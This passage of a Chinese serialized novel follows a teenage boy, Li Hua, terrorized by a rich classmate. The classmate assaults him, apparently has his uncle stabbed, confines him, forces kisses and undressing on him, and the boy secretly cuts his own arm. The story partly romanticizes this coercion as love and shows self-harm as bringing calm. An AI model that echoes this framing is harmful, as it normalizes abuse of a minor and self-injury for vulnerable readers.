李华绷紧了背，蓄势待发，郑源一顿，还没反应过来，就被他冲过来的头顶撞到了鼻梁，疼的他瞬间弓起背，鼻血顷刻流下，他连一句操都还没说出口，李华拽着他的头发骑到他身上，揪着他的衣领，一拳又一拳，一句话都不说，咬紧下颚，将牙咬的生疼，手背暴起青筋。再一拳，被郑源拦下，他的手包住李华的拳头，扭过来看他，半张脸都是血，看着他不受控流下的泪，突然笑了。
就是这样，他理解了。理解了恨，理解了爱而不得，就只剩下恨。他开始笑，洁白的牙齿上都是血。他放肆又无礼地盯着李华，更像是一种挑衅，仿佛在说这就是你的全部能耐了。
他抹把脸上的血，往李华脸上擦，李华恶心嫌恶的偏过头，郑源笑着，眼神却冷了，他一个起身，掐着李华的脖子就把自己带血的手往他嘴里捅，李华抓着他的手腕挣扎，挣脱不动，脸颊通红，窒息感让他下意识张嘴，满是鲜血的手捅进口腔、喉腔，脆弱的软肉哪里遭来过如此粗暴的对待，李华逼的两眼泪花，眼神却还是不认输不服输地盯着他，恨不得将他大卸八块，他们一句话都不说，却用眼神交流着。郑源居高临下又嘲讽、轻蔑地看着他，手指摸他的上颚和舌头，揪着软嫩的舌头擦自己的手指。
好恶心，好恶心，李华胸腔起伏极大，郑源松开掐着他脖子的手，却捂住他的嘴，不让他往外吐，但带血的唾沫还是吐了他一掌心，郑源抽出纸巾擦干净，也擦了自己脸上的血，和身上的血，李华握紧拳头，随时开展下一轮攻击，郑源说：“你会有求我的时候。”
车停下，郑源下了车，头都没回地离开，胡建国才察觉到他的意思，是把李华送回去。胡建国刚刚直观了一场异常暴力猎奇的对抗，心神还没太缓回来，忐忑、小心翼翼地问李华：“小李同学……你去哪儿？”
李华还保持着跪坐的姿态，他闻言才微微回神，眼角透明的泪珠掉在掌心，看的胡建国心疼，明明面无表情，他却觉得李华痛苦、难过的很。他抿抿唇，叹口气，就看到李华坐直身体，也抽纸巾擦干净自己的脸和身上的血，声音嘶哑地说：“电影院胡叔叔，我的自行车还停在那里。”
他的喉咙火烧火燎的，是被郑源捅的，异物感那么清晰，他就恨，恨自己反应迟钝，没有一口咬掉他的手指。
舌根也疼，脸也疼，头也疼。李华背靠车座，看着车窗外的风景。
到了电影院，他一声不响地下了车，先去便利店买了瓶水，不停地漱口，都漱不干净嘴里的血腥，那股味儿被吞下去了，被他咽进肚里，成为他身体的一部分了。他洁癖似的不停地用舌头清扫口腔，最后才用水沾了纸巾，擦自己被扇的脸。
呆坐在花坛边很长时间，他才缓慢地骑车往家赶。跟
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郑源打一架，太消耗体力了，他将衣领往上提了提，试图遮挡留在脖子上的手印。却还是被舅舅发现了。舅舅自从知道自己忽略李华太多以后，一直想办法弥补，专门做他爱吃的菜等他回来，却一眼看到他脸上的伤。
“我没事，舅舅。”李华说，这比他之前受的伤轻的多的多。
王信火冒三丈地拍桌子，“我不信了，还有没有王法了？！”
说着，他就要穿衣服，拿手机，准备出门找郑源理论一番，实在不行就报警，现在法制社会，他当他□□，一手遮天？
“舅舅！”李华还没拦，就听到有人敲门。
舅舅和李华对视一眼，要去开门，不好的预感突然升至心头，李华瞬间瞪大眼要拦舅舅的手，还是晚了一步，李华甚至没看清门外的人是谁，就看到舅舅的身影动了一下，两三秒后缓慢地跪在地上，倒在一旁。血，又是血，源源不断地血从地上流进家里，李华抱着头尖叫，连忙找手机打120，他连滚带爬地出去抓凶手，却什么人都没有，李华吓的、哭的、抖的握不住手机，舅舅捂着腹部，靠着门，安慰他别急，还庆幸，幸亏是自己去开门，但李华知道，他知道，如果是他去开门就好了，他扶着舅舅的身体，哭喊着求人帮忙，邻居听到动静出来也吓一跳，两个大人合力抬着王信，要李华找止血的，刚下楼120就来了，王信被抬上救护车，李华浑身是血，哭的止不住，腿都是软的，几乎跪在医院的地上。
舅舅被推进抢救室，李华的眼泪都要流干了，他脸色苍白的蹲在角落里抱着头，神情呆滞、痛苦，他身上的血已经干了，手机却震动了。他摸索着，发现不是他的，他没有带手机，是不远处的座椅上，有部手机，李华缓慢地站起来走过去，是视频电话，而且正是郑源给他买他的智能机，魔鬼，他这个魔鬼，李华愤怒地想要挂断，却又鬼使神差地摁了接听，看到了让他理智崩盘的一幕——
郑源坐在他们家餐桌边，穿的干净随意，品尝着舅舅给他做的饭菜。
看到电话接了，他夹起一块儿肉，看向镜头里狼狈不堪、痛苦非常的李华：“舅舅手艺不错啊，要回来尝尝吗？”
李华太痛了、太恨了，他发出歇斯底里地大喊：“我杀了你我杀了你啊啊啊！！！”
郑源笑着，笑收了，却又笑了，“好啊，你来吧。”
他说，向他发出邀约，“车在楼下等你，我等你来杀我。”
李华知道这是陷阱，也知道医院离不开人，可是他等不了了，他受不了了，他精神失常了，他被逼疯了，他一定要回去杀了他。车到家楼下，李华冲上去，第一件事就是冲进厨房拿菜刀，郑源一直看着他，看着他朝自己砍来，下一秒，就有人从阴影里出来限制住李华的行动，将他手里的菜刀打在地上。
郑源从头到尾动都没动，他双手交叉，放在腿上，看着李华嗜血的目光。
“舅舅不会有生命危险。”他安抚似的说，“我只是给你一个小惩罚，没想要他的命。”
“你到底要什么？”李华滑在地上痛哭：“我求求你了，求求你，放过我好吗，求求你……”
“求有用的话，我也早就求求你了。”郑源哈哈大笑，站起来走到他面前挥挥手，钳制李华的男人离开，走时还带走所有利器。
“我给过你机会，李华。”郑源踢踢他的膝盖，“很多次。你没听，你不信。你还是一而再、再而三的惹我，我真不知道该说你天真好，还是胆大好。你猜他们为什么都离我远远的？”
李华听不进去他说的任何话，郑源蹲下来捧着他的脸，拇指擦掉他的泪。
“这次长记性了吧？你跟别人越好，你身边的人就越受罪，你说徐梦梦我要怎么对她？我还没想好，我本来想惩罚她，但我发现症结不在她，在你，在你太得意、太过分、太不把我当人。”
他笑着说：“我给你一个机会，你告诉我，你是选择喜欢我，还是别人？”
57.第 59 章
郑源还是没有听到自己想要的回答。因为李华晕了过去。他晕过去的瞬间，郑源接住他，把他抱下了楼，同时联系了医生。医生姓雷，年纪轻轻已经为富家少们操碎了心。他认命地背着自己的小药箱来了，看到晕过去的李华，重重叹口气，忍不住吐槽：“郑少爷，短短两个月，我在这儿的出诊次数已经赶上我同事在鸿蒙一年的次数了。”
他说的鸿蒙郑源知道，郑源嗤之以鼻，“那是个脑残，你愿意照顾你就去。”
雷医生叹息，跟他沟通不了。他想说的是，照顾脑残都没有照顾他们费劲。
“这个小李同学，我已经说过很多次了，不能有太大的情绪波动。他没什么事，就是急火攻心，一时气急，缓缓就过来了。”他说，停顿一下，又说，“我回去开点中药，让他调理一下身体。”
他出了门，看到等在门口忐忑的中年男人，皱了下眉，因为对方很殷勤地赶上来给他递烟，雷医生摆摆手，挂着礼貌地微笑：“您有事？”
胡建国搓搓手，看眼屋里，小声说：“也没什么事，就是想问问屋里那个小孩儿，没事儿吧？”
雷医生看着他关心的目光，看了眼他的穿着，找他要过了那根烟，叹口气，“唉。”
医生一唉准没好事儿啊，胡建国的心提起来了，“怎么了这是？伤的很严重吗？”
“啊，那倒不是。”雷医生笑道，“就是感慨，感慨我自己。”
感慨他忙前忙后没一个人关心，连少爷家的司机跟他套近乎都是关心少爷的朋友。
他狠抽一口烟，说：“没事，养养就好了。”
胡建国心放下了，见他烟快抽完又递，雷医生摆摆手，走了。
屋里，李华在床上躺着，郑源在客厅打电话。很快，这起恶意伤人事件就有人报了警，是王信的对门邻居，他们试图寻找楼道里的监控，但王信生活条件一般，住的也是老式居民区，连个物业都没有，大门敞开着随意人进出，更何况积了八百年灰烬的监控。但是据好心人举报，还真撞见凶手了，凶手也很快自首了，是个五十多岁的、有前科的中年男人，前几天刚因为几年前恶性入室抢劫事件刑满出狱，没想到出狱没几天又一次实施了入室抢劫，还恶意伤人。毫无疑问判的很重，怕是下半辈子都在里面了。
李华朦朦胧胧地听着，想说不是的，不是这样的。但他张不开嘴，也睁不开眼。有人温柔地抚摸他的额头，他沉沉地睡了过去。
郑源给两个人在学校请了假，亲自去医院看了王信。他当天下午就在李华昏迷时脱离了生命危险，推进了郑源安排好的单人病房。醒来第一时间也在找李华，他当然不信这是巧合，更不信邻居说的官方说法，但他一没证据，二没办法，三还没权没势，只能苍白着嘴，恶狠狠地无声咒骂，看到郑源来，更是气不打一处来，刚缝好的伤口麻药劲过，疼的他大汗淋漓，咬着后槽牙，满眼都是对郑源的恨。
郑源将果篮放下，坐在病床边，还淡定坦然地喊他：“舅舅。”
“滚！滚！”王信情绪激动，咳嗽起来：“你把李华弄哪儿去了？！”
郑源啧了一声，低头笑了笑，“李华的舅妈，冯春霞女士，自你上次给我打过电话后，又给我打了一个，找我要五万块钱，我给了，我问她你知道这件事吗？她怕我不给钱，老实地说是你的授意，我的电话都是你给她的，是这样吗？”
王信张张嘴，又闭上，“你不该给吗？！”
他的眼神躲闪了一下，暗骂冯春霞这个傻女人。郑源的电话的确是他给她的。冯宝的事总得有人买单吧？冯春霞一直缠着他，他能给出什么说法？掏不起钱，又不想跟她断了，自己光棍大半辈子，好不容易找个往后能在一起生活的老伴，虽然脾性诸多不和，但搭伙过日子谁还没个摩擦，也就是现在条件困难，等李华再长大点，不出几年一上大学，那问题不都迎刃而解？再说，郑源又同意了承包医药费，还那么猖狂，就算多找他要点怎么了？他家那么有钱，还稀罕着三瓜裂枣？当然，也有他的私心，就是他那天说的话太具有侮辱性，完全看不起他王信啊，让一个十几岁的毛头小子看不起，他想报复怎么了？
郑源笑笑，“我没有其他意思，只是想说，舅舅有想要的东西直接跟我说就好了，绕这么大一圈，浪费我们彼此的时间。”
郑源拍拍手，进来一个女人。
三十岁上下的年纪，身材很丰韵，盘着发，画着精致的妆，一举一动媚骨天成。王信的眼直了，他从没见过这么漂亮的女人。先天的阳痿让他非常自卑，有时候家里就冯春霞他们两个，她还会调侃似的拿这事儿讽刺他，说他再留个指甲，带个假发，俩人就能当姊妹了。王信听了心里自然是不舒服的，这不是妥妥的看不起吗？但是他无从辩解，只能笑哈哈地敷衍过去，只当自己不在意。
“你什么意思？”王信盯着郑源，那女人却走到病床边，手伸进了被子里，顺着他的小腿一路往上摸，王信鸡皮疙瘩都起来了，强撑着要坐起来，手都要跑水，结结巴巴地红着一张老脸，“你你你……”
郑源看笑话似的说：“李华受了点刺激，现在不宜见你，等他修养好了我一定第一时间带他过来。但是舅舅这边需要人照顾啊。这是我给舅舅找的陪护，叫什么来着？”
“媛媛。”女人依在床边，拉着王信的手：“王哥，我叫媛媛。”
声音也娇软酥麻，给王信电的脊背都绷直了：“诶诶……”
“照顾好舅舅啊。”郑源故作正经地说：“不然扣你工资。”
“别啊。”媛媛连忙给王信掖被角，一双眼眨巴眨巴地看他，眼睛跟钩子似的，撒娇地摇着傲人的前胸，音调都拐着弯：“王～哥～”
王信瞪大眼傻愣愣地发着单音节词：“我我我我我……”
他仅存的理智喊住要走的郑源：“你你你你，给我换个男的啊，我，我我我，撒尿、排便，你你你你……”
“我可以啊。”媛媛抱着他的胳膊贴着自己的胸，“我会照顾好你的，王哥。”
郑源意味深长地嗯了一声，“媛媛什么服务都可以提供。”
他加重了服务两个字，潇洒地拍屁股走人。
他没吃过猪肉，还没见过猪跑么？
郑玉安带他出入过那么多场合，以前在私塾也听了不少肮脏八卦，就算是照着壳子模仿，他也能学个九成像。
安顿好王信，他估摸着李华这个点要醒了，连忙往家赶。果不其然，刚进家，就差点被侧面迎来的花瓶砸个头破血流。他眼疾手快地躲开，瓷瓶碎在地上四分五裂，他看着脸色苍白、摇摇欲坠的李华，怕碎片扎到他，干脆一步跨过去横抱着人往床上带。李华要从他身上跳下来，倒腾的像个滞留岸上即将干涸的鱼。
郑源又被他咬了肩膀，还被他抓了耳朵，李华又不解气地扣他的双眼。郑源忍受不了地拍他的爪子。两个眼球让他戳的生疼，他使劲睁了挣，冷笑一声，幸亏自己离开前非常有先见之明的让保姆把所有利器都收走，否则他丝毫不怀疑现在自己腹部应该也有一刀。
不一定是腹部，可能是心脏正中间。
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思及此，他道：“你杀了我一点好处都没有，看似报仇，但你父母、你舅舅、你在乎的一切，我小叔是不会放过你的。”
李华又何尝不知，不然他早就跟他拼个你死我活了。
要不是有顾及的人，他恨的能把郑源生吃了。
“舅舅恢复的很好。”郑源说，坐在床边，李华瞬间离他八丈远。
他醒来第一瞬间就要出门去医院，却死活打不开门，也打不开窗户，气的快拿头撞墙。现在也还在生气，看见郑源就来气，但是他紧绷着唇不说话，毕竟回归了些理智。
“饿了吧。”郑源说，卷卷袖子，“厨房有做好的饭，出来吃吧。”
“你到底想要什么？”李华说，“我不会喜欢你的，永远，永远，不可能会喜欢你，你趁早死了这条心。”
郑源点点头，说：“我知道。”
他甚至笑了出来，“这句话已经攻击不了我了，包括你可能会喜欢上其他人，比如徐梦梦、又或者什么其他梦梦，无所谓李华，我已经不在意了，我不在乎你会喜欢谁了，我只想你知道，你无论喜欢谁，都得在我身边，你无论喜欢谁，都没用，反而会把一些噩运带给他们，所以不如省省劲儿，要喜欢就喜欢我，要不喜欢，就谁都别喜欢，不然下场你看到了。”
他说的坦荡，丝毫不觉得自己强盗。李华要气晕过去。他重新坐在床上抚摸心口：“你这个……王八蛋……畜牲……混蛋……神经病……傻逼……贱人……”
郑源一顿，“你也不用把仅会的、所有的、骂人话都用在我身上吧？”
李华说：“我要去看舅舅。”
郑源说：“你别坏他好事儿了。”
李华说：“我要去看舅舅。”
郑源朝他招手，李华警惕片刻，过去，看到他的智能显示屏上的画面：
舅舅满面春风的被一个漂亮女人喂饭。
漂亮女人还温柔的抹去他唇角的饭粒。
两人之间仿佛有爱似的，浓情蜜意，蜜里调油。
李华瞠目结舌：“这个……”
他的三观感到了冲击和颠覆，瞪大眼，恨不得钻进屏幕里，迷茫地看着郑源：“不是……舅妈吧？”
舅妈……好像……不长这样……
郑源哈哈大笑，摁着他的后颈亲了他一口。李华立即嫌恶地擦嘴皱眉：“别亲我，恶心死了。”
郑源不在意，又亲一口。
李华反手就要打，被郑源拦下，两个人四目相对，郑源慢慢松开手，李华的巴掌毫无阻力地扇到他的脸上。
郑源的舌头抵着脸颊滚了一圈，说：“一巴掌就能亲一口吗？”
他又亲了李华一口，这次很主动自觉地侧了半边脸，“来吧，该扇这边儿了。”
李华匪夷所思，“你简直……不要脸……”
郑源哈哈大笑，握住他的手亲他的手腕。李华烦躁地挣开，坐到餐桌另一边，扫视。
郑源这个该死的只给他勺子不给筷子。
“你让我怎么吃。”李华面无表情地说。
“不是有勺吗，或者手抓。”郑源说：“就我们两个人。”
“给我筷子。”李华盯着他。
“不给。”郑源皮笑肉不笑，“别以为我不知道你想捅我。”
李华被说穿，也没被揭穿的慌乱，握着勺子埋头吃饭，大口大口地，说：“早晚捅死你。”
“哇。”郑源点头，自我安慰，自欺欺人，用傅一青那套理论：
极致的恨，也可以是爱。
58.第 60 章
王信住了院，没办法上班，给单位打了电话，主管领导一听，说这个星期来看他。李华坐在床边看着王信苍白的脸色，红了眼眶。一旁的媛媛削着苹果，非常贴心地切成小块儿小块儿的，沾着白糖用牙签扎着喂他，王信羞愧尴尬地看眼李华，故意沉着脸说：“我不吃。”
媛媛委委屈屈地看着他，眼睛亮盈盈的，王信不敢看她，目不斜视。
“她是……”李华张张嘴，又闭上，欲言又止。王信连忙说：“陪护，她是陪护。”
李华不太清楚陪护的意思，但也能看出来是照顾病人的意思，他说：“舅舅，我留下来照顾你。”王信立即制止，差点从床上坐起来，“不行！”他声音扬高又压下，“你好好上课才是关键。”
“可是……”
“没事的小朋友。”媛媛拉着王信的胳膊，蹭到自己胸前：“我可以照顾好你舅舅的。”
说着，还朝李华眨眨眼。
李华起一身鸡皮疙瘩，“舅舅……舅妈呢……”
“你冯姨还有冯宝要照顾。”王信正经地说，“你不要担心，舅舅伤的不重，改天就能出院。”
这倒不是王信骗他，是他的确伤的不重，刀口偏离重要器官，捅的也不深，就是当时血流的多，吓唬人。
李华不知道说什么了，他还不会看人眼色，看不出舅舅有点想赶他的意思，兀自坐在床边伤心：“舅舅……对不起……”
如果不是他……如果不是郑源……
王信叹口气，媛媛喂他喝着水。
李华的难过溢于言表，他的眸色狠了起来：“我一定让郑源付出代价！”
“噗——”王信一口水喷了出来，几乎是下意识脱口而出：“可不敢！”
李华茫然地看着他，媛媛立即有眼色的擦拭他嘴边的口水和被子上的水。
王信等媛媛收拾完了，才好商好量地说让她出去休息会儿，他有话要跟李华说。
李华挠了挠头，不理解：“舅舅……”
王信看着他，又叹口气。眼里有宠溺，也有怒其不争，这就是农村出来的小孩儿，单纯，懵懂，他看不透人情世故，因为这些离他的生活太遥远，他也分析、理解不了人心人性的复杂，活的像个小木头，更何况大人无奈之下的取舍。
“你看。”王信晓之以情，动之以理，希望李华能理解他们现在处境，“舅舅现在，虽然躺在病床上，但是有人照顾、伺候，还不用上班，就当放假了，多好。至于郑源同学……舅舅当然知道，但是……但是我们假如，捅伤了他，我们没有钱赔偿呀。”王信笑的很苦涩，“没有钱，我们可能就要坐牢，多不划算，是不是。”
“可是也不能因为他有钱，就可以随便伤害别人！”李华气的不行，提起郑源就来气，气的牙根痒痒，“明明是他先行凶的！我们报警不行吗？！”
王信眼神复杂地看着他：“但是……凶手已经……”
“不是那样的！”李华忍不住喊起来：“不是那样的，舅舅！”
“是！”王信压过他的声音，“舅舅当然知道！但是！但是小华。”他苦口婆心，“警察也是要证据的，我们没证据啊，何况。”
何况……
王信看着李华失望难过的神情，握紧他的手：“舅舅根本不怪你，小华，你不要自责。是舅舅没本事，护不住你，别说你，就是舅舅自己，也难……”
难在强权的压迫下生存，更别提他那农村的父母。
谁能管的了谁？谁能管的了他们？郑源明显像当地的地头蛇，要想继续在这里生活……
可是不在这里生存，又能去哪里呢？谁能带他们远离呢？
如果李华真跟郑源出了什么事儿，那时他们的家才是真正的……完蛋了啊。
“为了你的父母，为了你自己。”王信握住他的手，眼里的郑重几乎化为实质，“你还小，还有大把的机会和时光，千万不能毁在这样一个人手上。郑源不可怕，可怕的是他背后的势力。小华，那是我们斗不过的敌人。记得舅舅教你的话，如果他还欺负你，努力留下证据，千万不要跟他硬碰硬，不要激怒他让他伤害你，人只有活着，才有可能等来希望，等你长大，逃离这里，一切都会迎刃而解。”
失魂落魄地从医院出来，李华站在大门口看天上的太阳。
他不能离开现在的学校，这里是他带父母过上好日子唯一的途径，也不能激怒郑源，要保护好自己，更要避免身边的人都遭殃。难道只有妥协吗？
他上了车，回了家，郑源出来接他。
他很长一段时间忘了喂他的鳄龟甜甜，以至于对方提前进入了冬眠，害的他以为它死了，换了水才发觉还活着。
“看的怎么样。”郑源说，“是不是活蹦乱跳的。”
李华不想理他，径直回卧室写作业去了。
郑源也不在意，反正他要的就是这个。他百无聊赖地瘫在沙发上看电影，找了个外国片，上面的男女跳着舞，跳着跳着开始接吻，相拥，镜头一转又到了床上，女生坐在男生身上，脱衣裳，俯下身去亲他。镜头到这儿就没有了，转眼到了便利店开始走剧情。郑源看了眼卧室的方向，舔了下唇，坏笑起来：“李华。”
李华肯定想弄死他。他贱兮兮地想着，笑着，没指望他会回答。没成想李华出来了，他冷冰冰地站在门口，“说。”
郑源眨了两下眼：“你过来。”
李华深吸一口气，走过去，“干嘛。”
他刚说完，郑源就拉着他的手跌在自己身上，两个人贴的严实，郑源说：“你学她。”
他指指电视屏幕，后退几分钟，李华顺着他的目光看去，瞳孔微颤，当即挣扎起来：“不要，滚啊。”
李华要挣脱他的限制，郑源使坏地翻身将他压在身下，很大度似的，“那我学呗。”
他舔舔唇，手有点颤，李华在他身下惶恐又不安，下意识想要捂眼，又想推他夹着自己腰
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的腿，声音干涩：“你……”
郑源也是头次干这种事儿，虽然对他有些天然的亲近，但是这种，这种……
“你怕什么？”他尾音颤抖，还故作无所谓和玩笑似的，“不就是脱个衣裳吗？又不是你脱，你怕个蛋。”
他咽口唾沫，一鼓作气，卫衣却在头那儿卡住了。
他一时出糗，尴尬又窘迫的大力拉扯，上半身裸露在外的肌肤凉飕飕的，他不敢想李华现在有多嘲笑他，气急败坏地：“你他妈帮忙啊！”
怎么可能。对于李华来说脱不下来才是最好的好吗？！他也慌了一下，眼的余光看到桌上放的玻璃杯，急中生智地打翻在地上，玻璃碎的四分五裂，郑源听到这动静，瞬间要把衣服放下来，他个该死的蠢猪，怎么会忘了自己把卫衣领子拉紧了！李华立刻说：“不要动！”
郑源不动了。
他感到有什么冰冷又尖锐地东西贴着他的腹部。
是碎玻璃。
李华抵在他的小腹上，指尖不小心滑过他的肌肤，让郑源一个激灵。他现在什么都看不见，卫衣遮挡了他全部的视线。他说：“你想干什么？”
李华看着他的胸膛，这还是他第一次这么赤裸地面对另一个人的身体。他的脸微红，有一瞬间的念头是将玻璃碎片扎进去，让温热的血从他的身体里流出来，这样才能报他伤害舅舅的仇。他的手微微使劲，咬着后槽牙，尖锐锋利的一端刺破了郑源的皮肤，他僵持着身体，何尝不知李华的想法。但他没有动，也不敢动，他真怕李华把碎片插进他的身体里，那事儿可就大了——他舔了舔唇：“李华……”
“闭嘴！”
李华情绪激动，手有点抖，他慢慢地刺进去了一些，钝刀割肉似的疼，郑源咽了口唾沫，闭闭眼，他在等待时机。
真有一丝血顺着碎片滑了下来，掉落在郑源的裤边上。
李华愣愣地看着，想起舅舅的话，看着郑源微微颤抖的身体，手下意识松了，就是这个时候！郑源瞬间放下衣服，握住他的手腕，将碎片甩在地上，李华大惊失色：“你！”
“妈的。”郑源暴躁地骂着，说：“你他妈就那么想找死？嗯？”
他说：“你今天敢捅我，我明天就让你把这些全吃了你信不信？！”
他压在李华身上，两个人四目相对，距离太近了，李华看到郑源眼里的怒火，郑源也看到了李华眼里的惊慌失措，和无助。
他深吸一口气，明知自己不能再心软，却闭闭眼，还是松开了他。
李华一溜烟的跑掉，郑源却越想越气。
他看着电视屏幕上的画面，一脚踹上玻璃桌，好半天，才站起身，面无表情地走到卧室门前，说：“脱。”
李华后退到角落，瞪大眼。
郑源笑起来：“我说我让你脱，你听不懂吗？”
他一步步逼近他：“脱的干干净净，一件不剩。”
“你不脱，我就帮你脱。”
59.第 61 章
李华最幸福的时刻应该就是在老家，夏天的傍晚，炎热的温度终于散去，他可以和几个小伙伴躺在席地上，或者爸爸妈妈。他们仰着头看月亮，会有小蚂蚁从手边经过，他就听着爸爸妈妈聊天，看着夜空中的星星，昏昏欲睡。妈妈通常会擦掉他鬓角的汗，拿一把蒲扇，扇阿扇，在夜幕更深些时哄着他进屋睡，因为到了深夜啊，外面就凉了。
李华不敢给他们打电话，怕一听到他们的声音，眼泪就止不住地掉，说话都带着哭腔。
他抓紧自己的衣服，愤怒过后是无尽的苍凉，他还不知道这种情绪叫悲哀，他只是突然觉得，自己到底为什么要反抗？又反抗不过，又不能反抗。又为什么一次次执拗地重蹈覆辙，惹来更惨痛的代价？他是应该认清现实吧，或者说对现实低头。那股不服输不愿服输的倔犟精神危在旦夕。
他又哭了。这次却是无声无息，面无表情的哭。要说是他的自尊受到了伤害，或者说是他无法接受在别人面前裸体，都不如说是他始终无法认同和苟同，自己所身处的不公平，不只是脱衣，更像是一种被阶级压迫的斗争精神。
显得他愚蠢。
他倒比郑源还利索。一件、两件。不冷的天，他瑟瑟发抖。瘦弱白皙的躯干实在没什么看头，无论是细胳膊还是细腿，都彰显着这是一个还未成熟、为长大，连果子花都没开的细瘦小树。他站在那儿，全身只剩下一条老式内裤。没有低下头，也没有为自己感到羞，他仰着脸，泪珠从眼尾滚过，直直地看着郑源，又仿佛透过郑源看向了其他。
郑源有种被球体堵住喉咙的窒息。他张张嘴，第一个词竟然是无声的，他清了清嗓子才强撑着凶道：“哭什么哭？”
他低下头匆匆捡起李华的衣裳扔到他身上，“让你脱你就脱，你这么听我的话你……”
“你王八蛋！”李华拿自己的衣服砸他，他还想怎样？不是他让自己脱的吗？脱了为什么还要怪他？为什么？到底怎么做才能让他满意？他终于忍不住崩溃大哭，一屁股坐在地上像个几岁的幼童。他太难受了，也太难过了，他无法接受，无法接受舅舅的劝导，让他就此低头，无法接受冷酷又残忍的现实，却又无法改变现状，他什么都做不了，他在拉扯，要碎成一片一片的了。
“好了好了，哎呀。”郑源将外套给他披上，“我不就……我错了行吗？”他手足无措，医生刚说李华不能有剧烈的情绪波动，他就又把人给惹着了，他拿着李华的手腕说：“你扇我行吗？解解气行吗？别哭了好吗？”他擦不净李华的泪，急道：“那我也脱行不行？”
没用。李华沉浸在背上的痛苦里，耳边的话语像骑车的嗡鸣。
郑源急的团团转，生怕他再抽过去，“真是我祖宗。”他站起来找了一圈，很快把自己脱的一干二净，也只剩个裤衩，他趴在地上学青蛙，又在地上翻几个滚像小狗，李华被他诡异又离谱的行为震惊，慢慢止住了哭声，错愕地看着他，郑源见有效了，长出一口气，感觉自己像哄襁褓里的娃娃，他用手捂住脸，又张开，变出一个鬼脸，又捂住脸，张开，一个鬼脸。
好傻。李华被气笑了：“你神经啊。”当哄小孩儿啊。
郑源看他笑了，深深地看着他也笑了，“唉。”
他伸手摸他的脸，李华躲开，郑源收回手，说：“泪，擦擦。”
“不要你管。”李华从地上爬起来，他哭过了，好多了，心里的郁结都挥洒出去了，当着他的面穿好衣服，抽了几张纸擦泪。
郑源还光着，但也不害臊，他本能地觉得，都是男孩儿，有什么大不了。虽然他不太敢看李华，总觉得冒犯了什么，但他不介意自己，他觉得没什么。
李华看他就差光屁股在家里晃荡，皱着眉说：“你不穿衣裳？”
“穿啊。”郑源说，围了个睡袍，袒露胸膛。
晚上两个人吃了饭，李华还是没有筷子。他实在用不惯勺子，郑源说我能信任你吗？李华没说话，郑源看着他，突然就妥协了，把筷子、刀具、任何锋利的物品都不藏了，说：“你用吧。”跟说你捅吧，没区别。
早晚躲不过这一刀，算了。
要是能让他消气，也挺好。
他毫不设防地背对李华看电视，李华看着厨房里的水果刀，一刀进去，郑源或许会像舅舅一样跪在地上，血流一地，如果自己不喊120，不报警，或许……
郑源听到他向厨房走去。
他没有动，也没有管，没有转身，甚至准备好了闭上眼。
脚步声越来越近，他的呼吸也越来越急促，心跳也越来越紧张，突然，传来啪嗒一声，门关上。
他猛然睁眼，转身，空无一人。
厨房没有少一把刀，李华转身进了卧室。
郑源劫后余生地腿软，大口喘着气，踉跄几步坐在沙发上。
他没有杀我。他想，他爱我吧，对我有一丁点的心软和好感吧。
他闭闭眼，躺在沙发上，舒坦了，笑了。
却不知，少了一把非常小的小刀。
李华站在卫生间，看着镜子，卷起了袖子。
他拿起小刀，在自己的胳膊上划了三道。
疼痛让他清醒，他连眉头都没皱。
他深深吸口气，看着鲜血流进水池。
第一刀，是他的懦弱，第二刀，是他的痛恨，第三刀，是他的抱歉。
他将小刀擦干净，收起来。不顾还在流血的伤口，放下袖子，走了出去。
他不甘。
他愤恨。
他不忍。
他躺在柔软的床上，仿佛心飘出了胸腔。
竟然感受到了安逸。
他笑起来，想爸爸，想妈妈，想未来会有的美好生活，开心地笑了。
自那以后郑源就发现李华有点变了。
他变的沉默、变的寡言，变的听话，却比以前更具有毁灭性的攻击。
比如郑源跟他说：“中午一起吃饭。”
李华说：“好。”
他说：“第二节课下课看我打球。”
李华说：“好。”
他敏锐地察觉到有什么不一样了，却说不出来。他试探着说：“晚上我们睡一起。”
他以为李华会反对、会抗衡、起码会皱眉。但没有，李华看着他说，“好。”
仿佛没有什么是不好的，仿佛是他郑源专属打造的机器人似的。
郑源崩溃了，他不知道问题出在哪里，又不敢进一步激怒他，只能大发脾气地说：“今晚的作业你替我写。”
李华同样说好。
把郑源气的不再回家。
徐梦梦自是
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知道两个人之间发生了些事，她也不敢再明面上找李华。好不容易等郑源不在，她关心地问李华没事吧？李华说：“没事。”徐梦梦还想说什么，李华说：“电影我已经陪你看了。虽然没看完，我也很抱歉。但这不是我的问题。你的喜欢我已经拒绝过一次了，不想再拒绝。我希望你今后能好好学习，为自己负责，不要再来打扰我。我不喜欢你，也不想再为你分担什么。”
徐梦梦愣了。她看着李华低垂的眉，明明还是那么温柔，却看起来那么冷漠。
李华走了，遇到了不远处观察着他们的赵敏。
赵敏说：“good，谢谢你。”
李华说：“不用谢。我是为我自己，不是为你。”
赵敏一顿，看着他离开。
李华变了，大家都知道他变了。连老师都察觉到了。以前那个有些怯懦的、和风细雨的好学生不见了，取而代之的是冷酷无情，不愿再多说一句废话的学霸。
他把自己封闭起来了。
“我是真拿他没办法。”郑源跟樊瑞说：“他像个机器人似的你知道吗？我让他干什么他都说好，我说李华你过来，他过来，李华你过去，他过去。”
更关键的是，他说，“李华，我要亲你。”
李华像看没什么生命似的物件一样看着他，主动走过来，亲了上去。
郑源心乱如麻，心跳如雷，反观李华，睁着眼看他，不动，也不躲，张着嘴，任由他作乱，仿佛在平静地看一个人发疯，一个人沉浸，一个人的独角戏。
“他显得我像个小丑。”郑源说，冷静地、一字一顿地说：“像，个，傻，逼。”
樊瑞噗的一声笑出来：“那多好啊，这不是你想要的吗？”
“少他妈拿这句话堵我。”郑源烦得要死，“我真没法了，我现在不敢回家，我一回家我就觉得跟他妈到了北极似的，冷的要死。”
“哎呀，你就忍忍吧。”樊瑞劝着：“这都是你之前不当人的后遗症、报应。”
郑源没吭声。
过了很久，突然说：“他是不是我爹？”
樊瑞噗的一声爆笑：“你他妈——”
笑完突然沉默了。他看到郑源的脸色，知道他是真心疑问，不是玩笑，又想到他目睹了他父亲离世的惨状，不由得严肃和正经：“为什么这么说。”
“我不知道。”郑源说：“我感觉我的生命，在一点一点地被他吞噬，我所有的精力、情绪、心情，都因为他活着，你知道那种感觉吗？我死了，我又活了，仿佛我爸活了，喜欢他，好像能让我回到……”
回到了他还有父亲的时候。
回到了他还拥有着一切的时候。
回到了他还没有这么极端、暴力、冲动、血腥、又张狂肆意的时候。
在李华面前，他是退后好几年，不敢看喜欢人裸体，想看喜欢的人笑、纯真郑源的时候。
樊瑞说：“这可能就是命。”
